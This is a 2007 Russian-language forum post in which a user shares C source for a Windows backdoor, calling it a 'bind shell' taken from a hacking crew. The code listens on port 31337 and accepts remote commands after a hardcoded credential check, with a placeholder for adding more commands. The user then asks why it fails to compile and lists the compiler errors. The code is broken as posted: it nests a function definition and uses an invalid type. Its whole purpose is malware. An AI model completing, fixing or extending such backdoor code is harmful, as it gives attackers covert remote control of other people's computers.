Показать сообщение отдельно

  #32  
Старый 19.07.2007, 14:54
Gargulia
Banned
Регистрация: 22.06.2007
Сообщений: 7
Провел на форуме:
19346

Репутация: -24
По умолчанию

вот есть небольшой бинд шелл(взятый с Hell Knights Crew):
Код:
#include <winsock2.h>
#include <windows.h>

DWORD WINAPI InitWinSock2API(){
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
return 0; 
}


DWORD WINAPI Backdoor_Recv(LPVOID lpParam){

	DWORD WINAPI ClientSend(char * data, socket sock){
send(sock, data, lstrlen(data),0);
closesocket(sock); 
ZeroMemory (&data, sizeof(data)); 
return 0; 
}

SOCKET      sock=(SOCKET)lpParam;
char        recvbuffer[1024];
int         ret, freq, times, rand1, rand2;
					
while(1){
ZeroMemory (&recvbuffer, sizeof(recvbuffer));
ret = recv(sock, recvbuffer, 1024, 0); 
if (ret == SOCKET_ERROR) break; else 
if(lstrlen(recvbuffer) > 0){
char * array[1024]; 
char * t = strtok(recvbuffer,"ђ");
int i; int portint; 
for(i = 0; t; t = strtok(NULL,"ђ"), i++){ array[i] = t; } 
if (lstrcmp(array[0], "login:password")==0){
if (lstrcmp(array[1], "msgbox")==0){ 
char * msg = array[2];    // получаем 2 и 3 элемент массива 
char * title = array[3];  // и заголовок messagebox.
MessageBox(0,msg,title,0); // выводим messagebox.
ClientSend("messagebox ok", sock);
}

// пример вашей команды:
// else if(lstrcmp(array[1], "ваша_команда")==0)
// { 
//   ...
// }
else{
// отсылаем клиенту сообщение "unknown command"
ClientSend("unknown command", sock);
}
} else  {
ClientSend("authorization failed", sock);
}
}
}
return 0; 
}



DWORD WINAPI Backdoor_Listen(short port){
SOCKET			server, client;         // сокеты для клиента и сервера
SOCKADDR_IN		localaddr, clientaddr;  // структуры для клиента и сервера
HANDLE			hThread;                // хэндл потока 

int clientSize=sizeof(clientaddr); 
						  
server=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
						  
localaddr.sin_addr.s_addr=htonl(INADDR_ANY);// любом сетевом интерфейсе;
localaddr.sin_family=AF_INET;               // работаем с интернетом;
localaddr.sin_port=htons(port);             // присвайваем порт;

bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr));

listen(server, SOMAXCONN); 

while(1){
client=accept(server,(struct sockaddr *)&clientaddr,&clientSize);

hThread = StartThread(Backdoor_Recv,(LPVOID)client); 
CloseHandle(hThread);
} 

closesocket(server); // закрываем сокет

return 0;
}

HANDLE WINAPI StartThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID param){
DWORD lpThreadId; 
return CreateThread(NULL, NULL, lpStartAddress, param, NULL, &lpThreadId);
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
									 LPSTR lpCmdLine, int nCmdShow){			
InitWinSock2API();      // инициализируем WinSock2 API
Backdoor_Listen(31337); // Ставим порт на прослушку и подключаем клиентов:
// WSACleanup(); // по завершению работы заканчиваем работу с Winsock2
}
почему сия прелесть не компилится Microsoft VC++ Studio 2003 ?
пишет вот это:
main.cpp(13): error C2061: syntax error : identifier 'socket'
main.cpp(13): error C2601: 'ClientSend' : local function definitions are illegal
main.cpp(38): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(48): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(51): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(80): error C3861: 'StartThread': identifier not found, even with argument-dependent lookup
main.cpp(89): error C2365: 'StartThread' : redefinition; previous definition was a 'formerly unknown identifier'
 
Ответить с цитированием